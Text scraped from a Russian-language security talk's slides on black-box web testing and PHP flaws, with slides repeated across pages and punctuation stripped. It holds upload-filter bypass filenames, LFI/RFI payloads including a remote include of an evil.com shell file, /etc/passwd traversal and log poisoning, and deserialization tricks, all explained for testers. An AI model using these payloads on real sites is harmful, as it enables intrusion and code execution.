bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 21: Blackbox-тестирование веб-приложений

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 22: Blackbox-тестирование веб-приложений

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 23: Blackbox-тестирование веб-приложений

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 24: Blackbox-тестирование веб-приложений

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

